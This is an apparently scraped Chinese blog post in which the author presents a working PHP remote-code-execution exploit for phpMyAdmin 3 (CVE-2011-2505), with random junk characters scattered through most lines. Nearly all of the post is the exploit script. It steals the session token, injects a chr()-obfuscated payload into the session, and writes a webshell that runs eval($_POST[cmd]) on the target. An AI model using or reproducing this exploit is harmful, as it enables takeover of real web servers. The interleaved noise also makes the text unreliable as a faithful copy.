最近在家做专职奶爸,不谙圈内事很多months了,博客也无更新。
4 i6 v, E$ G* X' H) N/ |: {! A
昨夜带孩子整夜未眠,看到黑哥在php security群里关于phpmyadmin3漏洞的讨论,虽然之前没看过漏洞代码,不过前段时间还是在微博上看到wofeiwo的exp了,不过据黑哥说有不鸡肋的利用方法,于是夜里翻代码出来研究了翻,写出了这个冷饭exp,由于我搞的晚了,之前已经很多人研究了写exp了,于是我这个属于炒冷饭,权当研究研究打发时间了。' T/ u) E0 Y$ W# d3 ^5 o
, E3 _0 ^. [: l# \* H首先赞下wofeiwo的python版本的exp,再赞下wofeiwo跟superhei的钻研精神,学习的榜样啊。不过之前那个exp利用起来是有一些限制的:
) z& s$ q% ]% Z; z5 C1 h一是session.auto_start = 1;
- U' Q5 d9 L' F二是pma3默认代码里libraries目录已经用.htaccess控制了不允许访问。
' I. L: y; O- @2 H- H$ d0 \当然还有第三点大家都不可以逾越的鸿沟:config目录存在且可写。7 U ~& I$ u2 }% O! V; f3 D
6 K$ W: Q9 d5 b3 D' X
在群里看了黑哥的发言后,再看了下代码,发现前两点利用限制均可以无视。所以其实这个漏洞还真的可以不是那么鸡肋。& |9 p* C M% M4 T
7 s+ K* b! h; }. `& O$ r2 y
于是写了这个php版本的exp,代码如下:
- x/ S' B% z+ D4 y( A6 x- S; n8 c+ b, b
#!/usr/bin/php
7 M& I- A4 o z$ f; o, }% o3 G<?php
) t7 a' E2 |2 {) c, j8 Q# ]/ vprint_r('+ b( i' b5 d5 q8 M3 f
+---------------------------------------------------------------------------+
3 n5 l; G* }" K$ l! l& q0 wpma3 - phpMyAdmin3 remote code execute exploit [Not jilei(chicken\'s ribs)] Y- X3 C0 A; X' v
by oldjun(www.oldjun.com)
" m+ b: s8 Y" m( E! jwelcome to www.t00ls.net+ T5 ^' T5 O- Y; l! ]3 p C1 _" g: j5 [
mail: oldjun@gmail.com
( Q. X0 g8 j0 y; \Assigned CVE id: CVE-2011-2505. S j4 A* x8 s2 z1 P5 U
+---------------------------------------------------------------------------+# l# l9 |) K! q5 |; V
');, K$ A% i1 T5 N4 m( ~' _: p& z
- Z7 r$ ] o0 ^. r9 E) T
/**
4 h/ c8 u) A3 }5 p4 t* a * working when the directory:"config" exists and is writeable.3 d/ z8 W7 b2 Q/ o" O2 [- S
**/
/ B2 P4 s/ i$ }; ?, ?3 A; G
- |7 V H* Y1 k- p/ e2 x' Hif ($argc < 3) {
1 k K" R3 v+ N& u& y% m print_r(' v4 B8 l/ s. {1 a- `) h* _1 Y
+---------------------------------------------------------------------------+
8 P! m0 M& C- g0 s, RUsage: php '.$argv[0].' host path4 `- R% t9 l3 E' a; _
host: target server (ip/hostname)/ u$ I( z9 s! B0 U0 _7 [' \+ k- g# j
path: path to pma3
( t9 t. ^) p* b0 S. OExample:
4 G: E! v/ X4 uphp '.$argv[0].' localhost /pma// F( w) p& Z$ c% O
+---------------------------------------------------------------------------+
% p7 b3 C. O5 \# {% a `: n');
0 t6 I1 |3 k- L" h$ b! y; s exit;
5 Z: q: ?1 q: f& O6 N}
* K: p V( e+ M% t- J8 f) @4 f9 P! r+ ^$ A, }' n3 _5 r
$host = $argv[1];
^# u D, F: Q @! {2 i$path = $argv[2];
2 k* V) s( i# O+ l( a' N" B3 P+ ?5 t2 x! Z) B2 v# p
/**# L0 d; \, s: M5 W. V
* Try to determine if the directory:"config" exists
2 |0 G k( z! e. [1 U: r" ]**/0 P, f8 F8 i7 I6 N, s J
echo "[+] Try to determine if the directory:config exists....\n";
) ~9 O7 \# u' [. y+ Z5 T: U0 x& t. `$returnstr=php_request('config/');
- Z. `- k4 x% O: s% D; @6 Y" R9 i& lif(strpos($returnstr,'404')){! ?( q7 b5 G$ ~8 X C
exit("[-] Exploit Failed! The directory:config do not exists!\n");% y" }5 b) a8 S2 [. Q( _
}$ s+ Z2 k/ C$ c
" X U, _9 J: z8 a* O2 {# q/**
/ r! R! X) s1 }8 h * Try to get token and sessionid; ~5 k" f3 q9 I7 j' ~4 g- z
**/: n8 v+ L! u h8 S6 J4 F# ?7 p
echo "[+] Try to get token and sessionid....\n";
& i) s1 I1 H2 r1 l$result=php_request('index.php');
* r% l! u i( }3 l2 q, K' apreg_match('/phpMyAdmin=(\w{32,40})\;(.*?)token=(\w{32})\&/s', $result, $resp);( c( E" Q. o5 D/ Y. g7 c7 e
$token=$resp[3]; E$ d! v; s0 W5 Z) Z. M
$sessionid=$resp[1];2 e4 I- G5 _% |; _6 \0 V$ N
if($token && $sessionid){. V% k) T# {* I! F/ w* l
echo "[+] token token\n";9 g7 L: w9 P* R# `# O9 B& n; n
echo "[+] Session ID sessionid\n";
& E2 ?" C) Q' }# P}else{
# w7 E. U7 m! k exit("[-] Can't get token and Session ID,Exploit Failed!\n");
: V7 g4 K- m( K}3 ]0 r. o1 V) D+ W% C0 x+ D! X8 x
/ f4 y0 ]5 ?1 {0 w5 q1 N! a8 b# y, V/**
/ W% }7 p5 F& Z X9 c * Try to insert shell into session- a6 [& m) Y$ K$ V) I8 O$ n2 f5 ~4 X u
**/
9 @3 A/ l: g" ~8 o( Jecho "[+] Try to insert shell into session....\n";# w3 E8 Z0 l4 ]+ N
php_request('db_create.php?token='.$token.'&session_to_unset=t00ls&_SESSION[ConfigFile][Servers][*/eval(chr(102).chr(112).chr(117).chr(116).chr(115).chr(40).chr(102).chr(111).chr(112).chr(101).chr(110).chr(40).chr(39).chr(97).chr(46).chr(112).chr(104).chr(112).chr(39).chr(44).chr(39).chr(119).chr(39).chr(41).chr(44).chr(39).chr(60).chr(63).chr(112).chr(104).chr(112).chr(32).chr(101).chr(118).chr(97).chr(108).chr(40).chr(36).chr(95).chr(80).chr(79).chr(83).chr(84).chr(91).chr(99).chr(109).chr(100).chr(93).chr(41).chr(63).chr(62).chr(39).chr(41).chr(59).chr(101).chr(99).chr(104).chr(111).chr(40).chr(39).chr(116).chr(48).chr(48).chr(108).chr(115).chr(39).chr(41).chr(59));/*][host]=t00ls.net','','phpMyAdmin='.$sessionid);//Actually,almost all the php files in home directory of pma3 can be used here.
, Z, J; j3 E3 l- v8 Q- X5 @9 }- x5 K2 x' ]% A
/**; D T( X, m& v& Z7 @# A* v
* Try to create webshell4 l. u7 Y$ l# P5 [ t3 N/ c& W
**/7 F: P6 ?1 q2 s2 t
echo "[+] Try to create webshell....\n";. `5 G6 a) j% H& L9 b
php_request('setup/config.php','phpMyAdmin='.$sessionid.'&tab_hash=&token='.$token.'&check_page_refresh=&DefaultLang=en&ServerDefault=0&eol=unix&submit_save=Save','phpMyAdmin='.$sessionid);9 ]9 o9 s! x3 K3 V# d ?
/**5 Z8 y/ r/ p/ T0 a
* Try to check if the webshell was created successfully2 Y3 U% D* d* W# v) z
**/
- f2 ~" g) c4 g( o( c! W' O3 h; {echo "[+] Try to check if the webshell was created successfully....\n";
' j: N5 X1 I" [' B: b* ]& i# @$content=php_request('config/config.inc.php');
- H: c, T/ t! Kif(strpos($content,'t00ls')){
& C$ n5 _6 N$ j2 A# {5 b echo "[+] Congratulations! Expoilt successfully....\n";
, ~* Y) D' D/ X, v- [ P4 ` echo "[+] Webshell:http://$host{$path}config/a.php eval(\$_POST[cmd])\n";, |4 R4 w. G( G$ ^
}else{
, n6 e. O4 c9 [ exit("[-] Exploit Failed! Perhaps the directory:config do not exists or is not writeable!\n");9 Z' H; H$ p o# ~3 |; A+ @/ r7 ~
}
% O3 |- Q F! G0 F9 c
* l* P1 E) C+ Tfunction php_request($url,$data='',$cookie=''){$ X: } n$ @) |; ?7 ]* R5 u
global $host, $path;$ }% `. p9 s+ K" M9 o
# w3 ]7 U9 h+ ?: [, ? $method=$data?'POST':'GET';
2 p# ]5 k% O2 h
7 x3 |1 `! q- z% r $packet = $method." ".$path.$url." HTTP/1.1\r\n";
) Z6 y" w; a6 B Z $packet .= "Accept: */*\r\n";
) j/ l5 T( ?5 z9 u; n $packet .= "User-Agent: Mozilla/4.0 (compatible; MSIE 6.00; Windows NT 5.1; SV1)\r\n";+ E: f9 m. w) @% I+ [& i
$packet .= "Host: $host\r\n";
$ f$ u) D0 s& J# {% I5 }1 U $packet .= $data?"Content-Type: application/x-www-form-urlencoded\r\n":"";
0 b# K+ t5 ?! |& U $packet .= $data?"Content-Length: ".strlen($data)."\r\n":"";
. o0 E: [; }+ y2 y6 M" x $packet .= $cookie?"Cookie: $cookie\r\n":"";
M2 K$ F, }) ~ L/ h) ?+ } $packet .= "Connection: Close\r\n\r\n";
& {. x0 A9 ~% t8 ?9 I! k. Z $packet .= $data?$data:"";
; S/ {6 ^1 u& }: O9 H4 y1 O4 l" `# B8 Q3 N8 P+ P& R* Q
$fp = fsockopen(gethostbyname($host), 80);. M5 s# ]& u3 A
if (!$fp) {
2 T2 V6 i+ z+ q9 E0 f echo 'No response from '.$host; die;! H) v: g+ f' S7 j3 H; `. y1 B
}
: Y7 b# Q8 K Z$ e, i0 Z fputs($fp, $packet);9 a. f3 T: l6 q! @' u1 [$ {; O1 O
7 v" c- K% ]9 p" K/ b3 G+ e
$resp = '';5 |7 X: J- i4 `2 j" a- H
7 a1 f R" i9 {$ r: D& S ` while ($fp && !feof($fp))) [6 c' X/ H7 J5 R
$resp .= fread($fp, 1024);+ r. `5 O1 y) y }9 E B6 y
# w- C, W, c9 o" j9 q2 l4 y' Q: J return $resp;
2 A" ?! T, f& m% }9 q" ^4 T}6 S( D, x7 N9 D3 u- i$ p
; o8 s( l$ N* g6 h" c3 n- |$ O?>
) t' i, r I0 B8 c. |